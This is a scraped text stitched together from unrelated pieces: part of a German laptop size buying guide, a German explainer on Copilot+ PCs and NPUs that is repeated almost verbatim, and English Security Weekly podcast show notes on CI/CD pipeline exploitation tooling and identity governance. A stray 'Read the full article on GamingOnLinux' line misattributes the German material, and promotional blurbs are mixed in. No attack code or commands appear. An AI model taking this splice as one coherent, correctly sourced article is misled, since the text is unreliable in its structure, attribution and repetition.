• Bilddiagonale & Format: 14 Zoll (35,6 cm), Seitenverhältnis 16:10, NanoEdge-Design (schmale Ränder)
• Auflösung & Panel-Typ: 2,8 K (2.880 × 1.800 Pixel), Lumina-OLED-Panel
• Farbraum & Helligkeit: 100 % DCI-P3-Abdeckung, maximale Spitzenhelligkeit 550 Nits
• Bildwiederholrate & Reaktionszeit: 120 Hz, 0,2 ms (Herstellerangabe)
• Gewicht & Maße: 1,2 kg, 14,9 mm Bauhöhe
• Prozessor & Grafik: AMD Ryzen AI 7 350 (inklusive dedizierter NPU für KI-Berechnungen), integrierte AMD Radeon Grafikeinheit
• Speicher: 16 GB LPDDR5X RAM, 1 TB PCIe Gen4 x4 SSD
• Akkukapazität: 75 Wh (laut Hersteller ausgelegt auf hohe Langlebigkeit mit 70 % Restkapazität nach 1200 Ladezyklen)
• Audio & Extras: Soundsystem von Harman Kardon mit Dolby Atmos und KI-Geräuschunterdrückung, beleuchtete Tastatur (QWERTZ-Layout)
• Betriebssystem: Windows 11 Home (Copilot+ PC zertifiziert)

Das Asus Zenbook 14 OLED demonstriert anschaulich, warum 14-Zöller aktuell so beliebt sind. Trotz des geringen Gewichts von nur 1,2 Kilogramm bietet das Notebook mit seinem AMD Ryzen AI 7 350 Prozessor und 16 GB Arbeitsspeicher genügend Leistungsreserven für Office-Anwendungen, Multitasking und leichte Bildbearbeitung. Das hochauflösende 2,8K-OLED-Display mit 120 Hz sorgt dabei für eine scharfe Darstellung, kräftige Farben und flüssige Bildabläufe.

Ein praktisches Detail für den mobilen Alltag ist dabei auch das kompakte Gehäuse mit nur 14,9 Millimetern Bauhöhe. Gleichzeitig verbaut Asus einen großzügigen 75-Wh-Akku, der laut Hersteller Laufzeiten von bis zu 18 Stunden ermöglichen soll. Die Ausstattung wird speziell für Videokonferenzen und Multimedia-Anwendungen durch Dolby-Atmos-Lautsprecher von Harman Kardon sowie eine integrierte KI-Geräuschunterdrückung abgerundet.

2. 15-Zoll-Laptops: Preisbewusste Allrounder

Das 15-Zoll-Segment gilt bis heute als der klassische Mittelweg zwischen Mobilität und Arbeitsfläche. Je nach Hersteller kommen im 15-Zoll-Bereich sowohl klassische 16:9- als auch moderne 16:10-Displays zum Einsatz.

Das 16:9-Format eignet sich besonders gut für den Medienkonsum, etwa für Filme und Serien, ohne störende schwarze Balken. Das 16:10-Format bietet dagegen mehr vertikale Bildschirmfläche – ein Vorteil beim Arbeiten mit Dokumenten, Tabellen oder längeren Webseiten.

Weil die Gehäuse oft auf bewährten, kostengünstigen Chassis-Designs der Hersteller basieren, bekommt man in dieser Klasse in der Regel das meiste Datenblatt für sein Geld. Zudem bieten 15-Zöller fast immer einen vollwertigen, physischen Nummernblock auf der rechten Seite der Tastatur.

Für wen eignen sich 15-Zoll-Laptops?

Der klassische 15-Zöller richtet sich an preisbewusste Käufer, Homeoffice-Nutzer, die keinen externen Monitor besitzen, und Nutzer, die ihr Notebook meistens in der Wohnung einsetzen oder das Gerät nur gelegentlich mit auf Reisen nehmen.

Produktempfehlung: Lenovo IdeaPad Slim 3 (15″)

Lenovo

Preis: ca. 682 Euro

Technik-Specs:

• Bilddiagonale & Format: 15,6 Zoll (39,6 cm), Seitenverhältnis 16:10
• Auflösung & Panel-Typ: WUXGA (1920 × 1200 Pixel), LC-Display
• Gewicht & Maße: ca. 1,6 kg, 17,9 mm Bauhöhe
• Prozessor & Grafik: Intel Core i5-13420H, Intel UHD Grafik
• Speicher: 16 GB DDR5-RAM, 512 GB SSD
• Akkukapazität: 42 Wh
• Tastatur: QWERTZ-Layout mit integriertem Nummernblock
• Software & Extras: Smart Connect, 3 Monate Lenovo Premium Care, 24 Monate Herstellergarantie
• Anschlüsse & Konnektivität: 2 USB-Anschlüsse, HDMI, WLAN, Bluetooth
• Betriebssystem: Windows 11 Home

Das Lenovo IdeaPad Slim 3 (Modell: 15IRH10) richtet sich an Nutzer, die ein solides Notebook für Alltag, Studium und Homeoffice suchen. Mit seinem 15,6 Zoll großen WUXGA-Display im modernen 16:10-Format bietet es etwas mehr vertikale Arbeitsfläche als klassische 16:9-Modelle – ein Vorteil beim Arbeiten mit Dokumenten, Tabellen oder längeren Webseiten. Trotz der großzügigen Bildschirmfläche bleibt das Gerät mit rund 1,6 Kilogramm angenehm mobil.

Für die Rechenleistung sorgt ein Intel Core i5-13420H Prozessor, der zusammen mit 16 GB DDR5-Arbeitsspeicher genügend Reserven für Office-Anwendungen, Multitasking und alltägliche Multimedia-Aufgaben bietet. Anspruchsvolle Spiele oder grafikintensive Anwendungen sind hingegen nicht die Stärke dieses Modells, da ausschließlich die integrierte Intel-UHD-Grafik zum Einsatz kommt.

Praktisch im Alltag ist die Smart-Connect-Funktion von Lenovo, mit der sich kompatible Smartphones, Tablets und PCs einfacher miteinander verbinden und Daten austauschen lassen. Damit positioniert sich das IdeaPad Slim 3 klar als klassischer Allrounder für produktives Arbeiten zu Hause, im Büro oder im Studium.

3. 16-Zoll-Laptops: Mobile Kraftpakete

Der 16-Zöller (ca. 40,6 cm Diagonale) ist der moderne Nachfolger der alten, klobigen 15,6- und 17-Zoll-Workstations. Dank besonders schmaler Displayränder passen 16-Zoll-Bildschirme heute in Gehäuse, die früher für 15 Zoll reserviert waren. Fast alle Geräte in dieser Klasse setzen auf das höhere 16:10-Format, was beim Arbeiten spürbar mehr vertikale Bildschirmfläche (z. B. für Code-Zeilen oder Webseiten) bietet.

Der entscheidende Vorteil dieser Größe: Das große Gehäuse bietet reichlich Platz für leistungsstarke Kühlsysteme und große Akkus (bis zum gesetzlichen Flugzeug-Limit von 99 Wattstunden). Hier finden leistungsstarke Prozessoren und dedizierte Grafikkarten deutlich bessere Kühlbedingungen als in kompakteren Gehäusen.

Für wen eignet sich die 16-Zoll-Größe?

Für Power-User, Content Creator (Foto/Video), ambitionierte Gamer und Nutzer, die den Laptop als vollwertigen Desktop-Ersatz (Desktop Replacement) nutzen möchten.

HP Omen MAX Gaming Laptop (16″)

HP

Preis: 2.199 Euro

Technik-Specs:

• Bilddiagonale & Format: 16 Zoll (40,6 cm), Seitenverhältnis 16:10
• Auflösung & Panel-Typ: WQXGA (2560 × 1600 Pixel), IPS-Display
• Bildwiederholrate: 240 Hz
• Gewicht & Maße: ca. 2,71 kg, 2,5 cm Bauhöhe
• Prozessor & Grafik: AMD Ryzen AI 7 350 (bis zu 5,0 GHz)
• Grafik: integrierte AMD Radeon 860M Grafik und NVIDIA GeForce RTX 5070 Ti (12 GB VRAM)
• Speicher: 32 GB RAM, 1 TB SSD
• Akkukapazität: 83 Wh
• Tastatur: QWERTZ-Layout mit Hintergrundbeleuchtung und Nummernblock
• Anschlüsse & Konnektivität: USB, HDMI, Ethernet, WLAN 7, Bluetooth 5.4
• Betriebssystem: Windows 11 Home

Der HP Omen MAX Gaming Laptop positioniert sich als leistungsstarkes 16-Zoll-Notebook für anspruchsvolles Gaming und Content Creation. Das WQXGA-Display (2560 × 1600 Pixel) mit 240 Hz Bildwiederholrate verspricht besonders flüssige Bewegungsdarstellung mit hoher Schärfe, während die IPS-Technologie für stabile Farbdarstellung sorgt.

Im Inneren arbeitet ein AMD Ryzen AI 7 350 Prozessor in Kombination mit einer NVIDIA GeForce RTX 5070 Ti mit 12 GB VRAM. Die Kombination liefert ausreichend Leistung für aktuelle AAA-Spiele, kreative Anwendungen und Multitasking auf hohem Niveau. Ergänzt wird die Ausstattung durch 32 GB Arbeitsspeicher sowie eine 1-TB-SSD für schnelle Ladezeiten und ordentlich Speicherplatz.

Mit einem 83-Wh-Akku und einem Gewicht von rund 2,7 Kilogramm ist das Gerät klar auf Leistung statt maximale Mobilität ausgelegt. Gleichzeitig bietet es eine umfangreiche Anschlussausstattung inklusive Ethernet, HDMI, USB und moderner WLAN-7-Konnektivität. Damit richtet sich dieser Laptop an Nutzer, die ein leistungsstarkes Gaming-Notebook mit Desktop-Anspruch suchen – und den Kaufpreis nicht scheuen.

Welche Notebook-Größe passt zu mir?

Die perfekte Notebook-Größe ist immer ein Kompromiss: Mehr Bildschirm bedeutet automatisch mehr Gewicht und weniger Mobilität. Die folgende Matrix hilft Ihnen dabei, Ihre eigenen Prioritäten zu gewichten und den optimalen Kompromiss für Ihren Alltag zu finden.

Software-Tipps für Ihren Laptop-Alltag

Egal, ob Sie sich für das kompakte 14-Zoll-Modell oder den 16-Zoll-Boliden entscheiden – mit diesen drei kostenlosen Software-Tools holen Sie noch mehr aus Ihrem mobilen Arbeitsplatz heraus:

• Microsoft PowerToys (FancyZones): Gerade auf den kleineren 14-Zoll-Displays ist das Standard-Fensterlayout von Windows oft fummelig. Mit dem Modul FancyZones unterteilen Sie Ihren Bildschirm in feste, frei definierbare Raster, in die Sie Fenster mit gedrückter Shift-Taste blitzschnell einrasten lassen. Ein absolutes Must-Have für Multitasking auf kleinen Displays.
• SpaceDesk: Sie sind im Hotel und der 14-Zöller reicht nicht für die Excel-Tabelle aus? SpaceDesk ist eine geniale kostenlose Software, mit der Sie Ihr iPad oder Android-Tablet kabellos über WLAN als vollwertigen, zweiten Windows-Monitor nutzen können. Perfekt für das mobile Büro.
• Everything: Laptops werden oft beruflich wie privat vollgepackt mit Dateien. Statt der langsamen Windows-Standard-Suche baut Everything einen superschnellen Index Ihrer Festplatte auf. Dateien, Fotos oder Dokumente werden in Echtzeit gefunden – buchstäblich schon während Sie den Dateinamen tippen.

Fazit: Welcher Laptop-Typ sind Sie?

Das perfekte Notebook richtet sich nicht nach dem Geldbeutel, sondern nach dem Einsatzzweck. Wer primär pendelt, in verschiedenen Meetingräumen sitzt oder das Gerät täglich in die Vorlesung schleppt, wird mit einem 14-Zoll-Laptop am glücklichsten.

Die gesparten Kilos auf dem Rücken rechtfertigen den kleineren Bildschirm allemal. Wer einen soliden Rechner für das Homeoffice sucht, nur selten verreist und beim Kauf auf das Budget achten muss, macht mit dem klassischen 15-Zöller nichts falsch.

Wenn für Sie das Notebook jedoch den klobigen Desktop-PC unter dem Schreibtisch komplett ersetzen soll, Sie professionell Videos schneiden oder aktuelle AAA-Spiele flüssig spielen wollen, führt kein Weg am 16-Zoll-Kraftpaket vorbei. Die massive Arbeitsfläche und das hervorragende Kühlpotenzial gleichen das stattliche Transportgewicht in diesem Fall problemlos auf.

Read the full article on GamingOnLinux.

1. Spezifikationen von Copilot+-PCs

Damit sich die KI-Funktionen schnell und reibungslos ausführen lassen, müssen Copilot+-PCs bestimmte Voraussetzungen mitbringen. Das wichtigste Kriterium ist ein eigener Neuralprozessor (Neural Processing Unit, NPU).

Diese Komponente kümmert sich ausschließlich um KI-Aufgaben und muss mindestens 40 TOPS (Billionen Operationen pro Sekunde) leisten. Darüber hinaus brauchen Copilot+-PCs mindestens 16 GB Arbeitsspeicher (DDR5 oder LPDDR5) und eine SSD mit 256 GB oder mehr.

Thomas Joos

An Bord ist außerdem der von Microsoft entwickelte Sicherheitschip Microsoft Pluton, der zusammen mit TPM 2.0 vor aktuellen und künftigen Cyber-Bedrohungen schützen soll. Als Betriebssystem setzt Microsoft Windows 11 in Version 24H2 oder neuer voraus; aktuell ist die Version 25H2.

PROMOTION

Dieser 16-Zoll-Laptop nutzt KI richtig – jetzt mit bis zu 200 Euro Cashback

Das HP OmniBook 7 kombiniert Leistung und Nachhaltigkeit: Der Intel® Core™ Ultra 7 Prozessor mit integrierter NPU sorgt für flüssiges Arbeiten und smarte KI-Funktionen. Das entspiegelte 16-Zoll-2K-Display zeigt gestochen scharfe Bilder selbst im Freien. Mit 32 GB RAM und 1 TB SSD meistern Sie jede Aufgabe mühelos, während die überragende Akkulaufzeit und Fast Charge Sie den ganzen Tag mobil halten. Jetzt sichern und von bis zu 200 € Cashback profitieren.

Erfahren Sie mehr über das HP OmniBook 7

Die 40-TOPS-Grenze gilt unverändert, ist in der Praxis aber zur Untergrenze geworden. Viele Geräte aus dem Jahr 2026 bringen 45 bis 55 TOPS mit, einzelne ARM-Modelle sogar bis zu 80 TOPS. Wer länger Reserve haben möchte, greift zu 32 GB RAM und einer 512-GB-SSD.

2. Vorteile einer NPU

Ein spezialisierter Zusatzprozessor, der nur die KI-Aufgaben übernimmt, bringt zwei Vorteile. Zum einen entlastet er Hauptprozessor (CPU) und Grafikprozessor (GPU), sodass sich diese um ihre angestammten Aufgaben kümmern können.

Zum anderen erlaubt die NPU, ausgewählte KI-Aufgaben lokal zu erledigen. Das steigert die Verarbeitungsgeschwindigkeit. Microsoft bezeichnet Copilot+-PCs deshalb vollmundig als „die schnellsten und intelligentesten Windows-PCs, die je gebaut wurden“.

3. KI ohne Internetverbindung

Eine dedizierte NPU bringt in der Praxis zwei weitere Vorteile. Eine Internetverbindung ist für viele KI-Aufgaben nicht zwingend nötig. Und da sich die Inhalte lokal verarbeiten lassen, müssen Sie sich weniger Sorgen machen, dass Ihre Daten in fremde Hände geraten.

artlist.io

Ausnahmen sind webbasierte KI-Dienste wie ChatGPT, Dall-E und Midjourney. Sie laufen nicht im Offlinemodus. Microsoft weist zudem darauf hin, dass die in Windows 11 integrierte Komponente „Copilot“ Daten über das Internet überträgt, um die Eingaben gegen die Nutzungsbedingungen zu prüfen.

4. Snapdragon X2 löst die erste Generation ab

Qualcomm gab im Frühjahr 2024 den Startschuss: Die ersten Copilot+-PCs kamen ausschließlich mit den ARM-Prozessoren Snapdragon X Elite (zwölf Kerne) und Snapdragon X Plus (zehn Kerne) auf den Markt, deren NPU 45 TOPS erreicht. Inzwischen ist die zweite Generation da.

Den Anfang machten im September 2025 der Snapdragon X2 Elite und der X2 Elite Extreme, im Januar 2026 folgte auf der CES der günstigere Snapdragon X2 Plus für die Mittelklasse. Alle drei Modelle bringen eine NPU mit 80 TOPS mit.

Mark Hachman / Foundry

Als Referenzgeräte dienen weiterhin Microsofts Surface-Modelle. Im Juni 2026 stellte das Unternehmen das Surface Pro 13 und das Surface Laptop 8 mit Snapdragon X2 vor. In Deutschland startet das Surface Pro 13 bei 1.599 Euro, das Surface Laptop 8 bei 1.699 Euro. Geräte mit Snapdragon X2 Plus von Dell, HP, Lenovo und Samsung kommen über das Jahr 2026 hinzu.

Die Snapdragon-CPUs eint eine geringe Leistungsaufnahme. Das verlängert die Akkulaufzeit im Alltag spürbar. Beim Surface Laptop nennt Microsoft bis zu 20 Stunden lokale Videowiedergabe – ein Laborwert, der den Alltag nicht eins zu eins abbildet.

5. AMD und Intel haben aufgeschlossen

Auch AMD und Intel liefern KI-optimierte Prozessoren. Dazu zählen AMDs Ryzen AI 300 mit bis zu 50 TOPS und Intels Core Ultra 200V mit 48 TOPS. Neuere Baureihen wie AMD Ryzen AI 400 und Intel Core Ultra der dritten Generation (Panther Lake) setzen noch eins drauf.

Mark Hachman / Foundry

Lange fehlten den x86-Chips einzelne Copilot+-Funktionen. Diese Lücke hat Microsoft im Frühjahr 2025 geschlossen: Seit dem Update vom März 2025 laufen Live Captions, Cocreator, Restyle Image und Image Creator auch auf Copilot+-PCs mit AMD- und Intel-Prozessoren.

Damit besteht zwischen den drei Plattformen weitgehend Funktionsgleichheit. Einzelne Neuerungen erreichen die Snapdragon-Geräte weiterhin etwas früher.

6. Aktuelle Copilot+-PC-Funktionen

In Windows 11 stecken KI-Funktionen, die auf allen Rechnern laufen – darunter der webbasierte Assistent Copilot, der Image Creator in Paint und der Microsoft Designer in der Fotoanzeige. Daneben gibt es zahlreiche Funktionen, die zwingend eine NPU voraussetzen und damit Copilot+-PCs vorbehalten bleiben.

Foundry

Dazu gehören die Windows-Studioeffekte für Videokonferenzen, die Echtzeit-Transkription von Gesprächen samt Übersetzung aus mehr als 40 Sprachen und die Paint-Funktion Cocreator, die Zeichnungen in Grafiken umwandelt.

Hinzugekommen sind „Click to Do“ für kontextabhängige Aktionen per Mausklick sowie eine verbesserte Windows-Suche, die Bilder und Dokumente anhand von Beschreibungen findet.

7. Diese Funktionen sind inzwischen verfügbar

Viele Funktionen, die Microsoft ursprünglich nur angekündigt hatte, sind inzwischen ausgerollt. Mit Super Resolution lassen sich Bilder in der Fotos-App um das bis zu Achtfache vergrößern; die Funktion steht auf Geräten mit Snapdragon-, AMD- und Intel-Prozessor bereit. Restyle wandelt Fotos in künstlerische Interpretationen um.

Thorsten Eggeling

Auch die lange umstrittene Funktion Recall ist zurück. Sie legt im Hintergrund regelmäßig Schnappschüsse des Bildschirms an und macht deren Inhalt durchsuchbar. Nach den Datenschutzbedenken von 2024 hat Microsoft die Funktion überarbeitet: Recall ist nun ein Opt-in, die Daten bleiben lokal und verschlüsselt auf dem Gerät, der Zugriff erfolgt über Windows Hello.

Seit Juli 2025 lässt sich Recall auch in der EU und damit in Deutschland nutzen; die Auslieferung erfolgt schrittweise. Kritiker sehen das lokale Bildprotokoll trotz der Schutzmaßnahmen weiterhin skeptisch.

8. Auch Programme anderer Hersteller nutzen NPUs

Software von Drittherstellern kann die NPU ebenfalls verwenden, um anspruchsvolle KI-Aufgaben zu beschleunigen. Zahlreiche namhafte Hersteller haben ihre Programme entsprechend optimiert. Dazu zählen die Bildbearbeitung Adobe Photoshop, die Videoschnittprogramme Capcut und DaVinci Resolve sowie die Mixing-Software djay Pro.

9. ARM statt x86

Anders als Copilot+-PCs mit AMD- und Intel-Prozessoren setzen Geräte mit Qualcomm-CPU auf die ARM-Architektur. Sie unterscheidet sich von der x86-/x64-Architektur herkömmlicher Computer, sodass sich nicht alle für Windows entwickelten Programme nutzen lassen.

Microsoft gibt jedoch an, dass Anwender rund neunzig Prozent der Zeit mit Programmen arbeiten, die auch als native ARM-Versionen vorliegen.

Microsoft

Die Auswahl ist groß. Sie reicht von Office-Paketen wie Microsoft 365 und Libreoffice über Browser wie Google Chrome und Opera bis zu Sicherheitssoftware. Auch die gängigen Apps zum Streamen und Kommunizieren stehen bereit. Adobe hat sein Portfolio weitgehend angepasst: Photoshop, Lightroom und Premiere Pro laufen nativ, Illustrator und Indesign sind nachgezogen.

10. x86-Programme emulieren

Damit sich Programme nutzen lassen, die nicht für ARM entwickelt wurden, enthält Windows 11 für ARM den Emulator Prism. Er übersetzt x86-Befehle in Echtzeit in ARM-Anweisungen. In der Praxis funktioniert das gut, solange es nicht um Anwendungen geht, die tief ins System eingreifen – etwa Virenscanner, VPN-Tools oder Virtualisierungssoftware.

Christoph Hoffmann

Auf der Website windowsonarm.org finden Sie eine regelmäßig aktualisierte Liste der Programme, die nativ oder über den Emulator auf ARM-Systemen laufen.

Die KI-PC-Revolution: 18 wichtige Begriffe, die Sie kennen müssen

1. Spezifikationen von Copilot+-PCs

Damit sich die KI-Funktionen schnell und reibungslos ausführen lassen, müssen Copilot+-PCs bestimmte Voraussetzungen mitbringen. Das wichtigste Kriterium ist ein eigener Neuralprozessor (Neural Processing Unit, NPU).

Diese Komponente kümmert sich ausschließlich um KI-Aufgaben und muss mindestens 40 TOPS (Billionen Operationen pro Sekunde) leisten. Darüber hinaus brauchen Copilot+-PCs mindestens 16 GB Arbeitsspeicher (DDR5 oder LPDDR5) und eine SSD mit 256 GB oder mehr.

Thomas Joos

An Bord ist außerdem der von Microsoft entwickelte Sicherheitschip Microsoft Pluton, der zusammen mit TPM 2.0 vor aktuellen und künftigen Cyber-Bedrohungen schützen soll. Als Betriebssystem setzt Microsoft Windows 11 in Version 24H2 oder neuer voraus; aktuell ist die Version 25H2.

PROMOTION

Dieser 16-Zoll-Laptop nutzt KI richtig – jetzt mit bis zu 200 Euro Cashback

Das HP OmniBook 7 kombiniert Leistung und Nachhaltigkeit: Der Intel® Core™ Ultra 7 Prozessor mit integrierter NPU sorgt für flüssiges Arbeiten und smarte KI-Funktionen. Das entspiegelte 16-Zoll-2K-Display zeigt gestochen scharfe Bilder selbst im Freien. Mit 32 GB RAM und 1 TB SSD meistern Sie jede Aufgabe mühelos, während die überragende Akkulaufzeit und Fast Charge Sie den ganzen Tag mobil halten. Jetzt sichern und von bis zu 200 € Cashback profitieren.

Erfahren Sie mehr über das HP OmniBook 7

Die 40-TOPS-Grenze gilt unverändert, ist in der Praxis aber zur Untergrenze geworden. Viele Geräte aus dem Jahr 2026 bringen 45 bis 55 TOPS mit, einzelne ARM-Modelle sogar bis zu 80 TOPS. Wer länger Reserve haben möchte, greift zu 32 GB RAM und einer 512-GB-SSD.

2. Vorteile einer NPU

Ein spezialisierter Zusatzprozessor, der nur die KI-Aufgaben übernimmt, bringt zwei Vorteile. Zum einen entlastet er Hauptprozessor (CPU) und Grafikprozessor (GPU), sodass sich diese um ihre angestammten Aufgaben kümmern können.

Zum anderen erlaubt die NPU, ausgewählte KI-Aufgaben lokal zu erledigen. Das steigert die Verarbeitungsgeschwindigkeit. Microsoft bezeichnet Copilot+-PCs deshalb vollmundig als „die schnellsten und intelligentesten Windows-PCs, die je gebaut wurden“.

3. KI ohne Internetverbindung

Eine dedizierte NPU bringt in der Praxis zwei weitere Vorteile. Eine Internetverbindung ist für viele KI-Aufgaben nicht zwingend nötig. Und da sich die Inhalte lokal verarbeiten lassen, müssen Sie sich weniger Sorgen machen, dass Ihre Daten in fremde Hände geraten.

artlist.io

Ausnahmen sind webbasierte KI-Dienste wie ChatGPT, Dall-E und Midjourney. Sie laufen nicht im Offlinemodus. Microsoft weist zudem darauf hin, dass die in Windows 11 integrierte Komponente „Copilot“ Daten über das Internet überträgt, um die Eingaben gegen die Nutzungsbedingungen zu prüfen.

4. Snapdragon X2 löst die erste Generation ab

Qualcomm gab im Frühjahr 2024 den Startschuss: Die ersten Copilot+-PCs kamen ausschließlich mit den ARM-Prozessoren Snapdragon X Elite (zwölf Kerne) und Snapdragon X Plus (zehn Kerne) auf den Markt, deren NPU 45 TOPS erreicht. Inzwischen ist die zweite Generation da.

Den Anfang machten im September 2025 der Snapdragon X2 Elite und der X2 Elite Extreme, im Januar 2026 folgte auf der CES der günstigere Snapdragon X2 Plus für die Mittelklasse. Alle drei Modelle bringen eine NPU mit 80 TOPS mit.

Mark Hachman / Foundry

Als Referenzgeräte dienen weiterhin Microsofts Surface-Modelle. Im Juni 2026 stellte das Unternehmen das Surface Pro 13 und das Surface Laptop 8 mit Snapdragon X2 vor. In Deutschland startet das Surface Pro 13 bei 1.599 Euro, das Surface Laptop 8 bei 1.699 Euro. Geräte mit Snapdragon X2 Plus von Dell, HP, Lenovo und Samsung kommen über das Jahr 2026 hinzu.

Die Snapdragon-CPUs eint eine geringe Leistungsaufnahme. Das verlängert die Akkulaufzeit im Alltag spürbar. Beim Surface Laptop nennt Microsoft bis zu 20 Stunden lokale Videowiedergabe – ein Laborwert, der den Alltag nicht eins zu eins abbildet.

5. AMD und Intel haben aufgeschlossen

Auch AMD und Intel liefern KI-optimierte Prozessoren. Dazu zählen AMDs Ryzen AI 300 mit bis zu 50 TOPS und Intels Core Ultra 200V mit 48 TOPS. Neuere Baureihen wie AMD Ryzen AI 400 und Intel Core Ultra der dritten Generation (Panther Lake) setzen noch eins drauf.

Mark Hachman / Foundry

Lange fehlten den x86-Chips einzelne Copilot+-Funktionen. Diese Lücke hat Microsoft im Frühjahr 2025 geschlossen: Seit dem Update vom März 2025 laufen Live Captions, Cocreator, Restyle Image und Image Creator auch auf Copilot+-PCs mit AMD- und Intel-Prozessoren.

Damit besteht zwischen den drei Plattformen weitgehend Funktionsgleichheit. Einzelne Neuerungen erreichen die Snapdragon-Geräte weiterhin etwas früher.

6. Aktuelle Copilot+-PC-Funktionen

In Windows 11 stecken KI-Funktionen, die auf allen Rechnern laufen – darunter der webbasierte Assistent Copilot, der Image Creator in Paint und der Microsoft Designer in der Fotoanzeige. Daneben gibt es zahlreiche Funktionen, die zwingend eine NPU voraussetzen und damit Copilot+-PCs vorbehalten bleiben.

Foundry

Dazu gehören die Windows-Studioeffekte für Videokonferenzen, die Echtzeit-Transkription von Gesprächen samt Übersetzung aus mehr als 40 Sprachen und die Paint-Funktion Cocreator, die Zeichnungen in Grafiken umwandelt.

Hinzugekommen sind „Click to Do“ für kontextabhängige Aktionen per Mausklick sowie eine verbesserte Windows-Suche, die Bilder und Dokumente anhand von Beschreibungen findet.

7. Diese Funktionen sind inzwischen verfügbar

Viele Funktionen, die Microsoft ursprünglich nur angekündigt hatte, sind inzwischen ausgerollt. Mit Super Resolution lassen sich Bilder in der Fotos-App um das bis zu Achtfache vergrößern; die Funktion steht auf Geräten mit Snapdragon-, AMD- und Intel-Prozessor bereit. Restyle wandelt Fotos in künstlerische Interpretationen um.

Thorsten Eggeling

Auch die lange umstrittene Funktion Recall ist zurück. Sie legt im Hintergrund regelmäßig Schnappschüsse des Bildschirms an und macht deren Inhalt durchsuchbar. Nach den Datenschutzbedenken von 2024 hat Microsoft die Funktion überarbeitet: Recall ist nun ein Opt-in, die Daten bleiben lokal und verschlüsselt auf dem Gerät, der Zugriff erfolgt über Windows Hello.

Seit Juli 2025 lässt sich Recall auch in der EU und damit in Deutschland nutzen; die Auslieferung erfolgt schrittweise. Kritiker sehen das lokale Bildprotokoll trotz der Schutzmaßnahmen weiterhin skeptisch.

8. Auch Programme anderer Hersteller nutzen NPUs

Software von Drittherstellern kann die NPU ebenfalls verwenden, um anspruchsvolle KI-Aufgaben zu beschleunigen. Zahlreiche namhafte Hersteller haben ihre Programme entsprechend optimiert. Dazu zählen die Bildbearbeitung Adobe Photoshop, die Videoschnittprogramme Capcut und DaVinci Resolve sowie die Mixing-Software djay Pro.

9. ARM statt x86

Anders als Copilot+-PCs mit AMD- und Intel-Prozessoren setzen Geräte mit Qualcomm-CPU auf die ARM-Architektur. Sie unterscheidet sich von der x86-/x64-Architektur herkömmlicher Computer, sodass sich nicht alle für Windows entwickelten Programme nutzen lassen.

Microsoft gibt jedoch an, dass Anwender rund neunzig Prozent der Zeit mit Programmen arbeiten, die auch als native ARM-Versionen vorliegen.

Microsoft

Die Auswahl ist groß. Sie reicht von Office-Paketen wie Microsoft 365 und Libreoffice über Browser wie Google Chrome und Opera bis zu Sicherheitssoftware. Auch die gängigen Apps zum Streamen und Kommunizieren stehen bereit. Adobe hat sein Portfolio weitgehend angepasst: Photoshop, Lightroom und Premiere Pro laufen nativ, Illustrator und Indesign sind nachgezogen.

10. x86-Programme emulieren

Damit sich Programme nutzen lassen, die nicht für ARM entwickelt wurden, enthält Windows 11 für ARM den Emulator Prism. Er übersetzt x86-Befehle in Echtzeit in ARM-Anweisungen. In der Praxis funktioniert das gut, solange es nicht um Anwendungen geht, die tief ins System eingreifen – etwa Virenscanner, VPN-Tools oder Virtualisierungssoftware.

Christoph Hoffmann

Auf der Website windowsonarm.org finden Sie eine regelmäßig aktualisierte Liste der Programme, die nativ oder über den Emulator auf ARM-Systemen laufen.

Die KI-PC-Revolution: 18 wichtige Begriffe, die Sie kennen müssen

Software Supply Chain Security: Build Pipeline (CI/CD) Exploitation

Boost Security is the creator of some very popular build pipeline security tools, like Bagel and Poutine. Today, we discuss their latest tool, Smoked Meat. They describe it as "Like Metasploit, but for CI/CD pipelines".

Segment Resources:

• Smoked Meat announcement
• Smoked Meat github
• Smoked Meat demo with Guillaume and François

Identiverse Interview with Dr. John Prichard from Radiant Logic

The Three Identity Problem: Surviving Identity Security's Chaotic Era

Identity security has entered its chaotic era. Human, non-human, and agentic AI identities no longer just coexist. They form an uncontrolled inheritance chain in which a human creates an agent, the agent spins up service principals, OAuth grants, and role assignments, and that whole chain keeps running long after the human changes roles or leaves. Most of these chains are being spawned by business users on low-code and enterprise AI platforms, outside traditional identity controls and largely invisible to security.

In this segment, Radiant Logic CEO Dr. John Pritchard joins us to unpack why this is no longer a visibility problem. It is an observability problem. And it is shifting the center of gravity in identity security from authentication to authorization. Listeners will leave with a clearer view of where their current IAM, IGA, and NHI programs fall short, and a practical lens for governing the rapidly expanding population of AI agents already inside their environments.

To go deeper on what John discussed today, watch Radiant Logic's on-demand webinar Identities Under Attack: How Adversaries Exploit the Human-Machine-Agent Divide at https://securityweekly.com/radiantlogicidv.

Identiverse Interview with Cassie Christensen from Saviynt

Everyone Wants an AI Assistant. Few Are Ready to Govern One

Explore a growing reality many professionals can relate to: the appeal of using AI agents to handle the work that keeps piling up - from inbox management to research and logistics - and the governance challenges that quickly follow. The real barrier to scaling personal or enterprise AI agents isn't the technology itself, but defining clear roles, access boundaries, oversight, and lifecycle management. As organizations deploy more autonomous AI agents, the same identity frameworks used to govern workforce and non-employee identities must now evolve to manage AI-driven access before scale and risk outpace control.

This segment is sponsored by Saviynt. Learn more or get a free demo at https://securityweekly.com/saviyntidv

Identiverse Interview with Jaime Lewis-Gross from Saviynt

From Sales Engineer to Forward Deployed Engineer: The Rise of Hybrid Technical Roles

As technology organizations evolve, technical roles are becoming increasingly fluid - particularly at the intersection of product, engineering, and customer success. This conversation explores what it means to be a modern sales engineer and how the role is increasingly expanding into responsibilities often associated with forward deployed engineers: translating complex technical capabilities into real-world outcomes, solving customer challenges in real time, and serving as a critical bridge between product teams and end users. At the center of this evolution is a customer-first mindset - one that prioritizes listening, adaptability, and long-term partnership. As organizations race to innovate, the companies that stand out will be those that remain deeply focused on customer needs while empowering technical teams to operate beyond traditional role boundaries.

This segment is sponsored by Saviynt. Learn more or get a free demo at https://securityweekly.com/saviyntidv

Identiverse Interview with Kim Brown from LexisNexis

Stop Identity Fraud: Modern Strategies for Insurance and Healthcare

Identity fraud is growing more sophisticated across both insurance and healthcare, making identity management a critical line of defense. In this executive interview, Kim Brown, VP of Product Management, will explore how organizations can strengthen identity verification, authentication, and risk assessment to reduce fraud while improving user experiences. The discussion will highlight emerging threats, evolving regulatory expectations, and practical strategies for deploying identity solutions at scale. Attendees will gain actionable insights to protect customers, patients, and their organizations without adding friction.

This segment is sponsored by LexisNexis Risk Solutions. Visit https://securityweekly.com/lexisnexisidv to learn more about them!

Visit https://www.securityweekly.com/esw for all the latest episodes!

Show Notes: https://securityweekly.com/esw-467

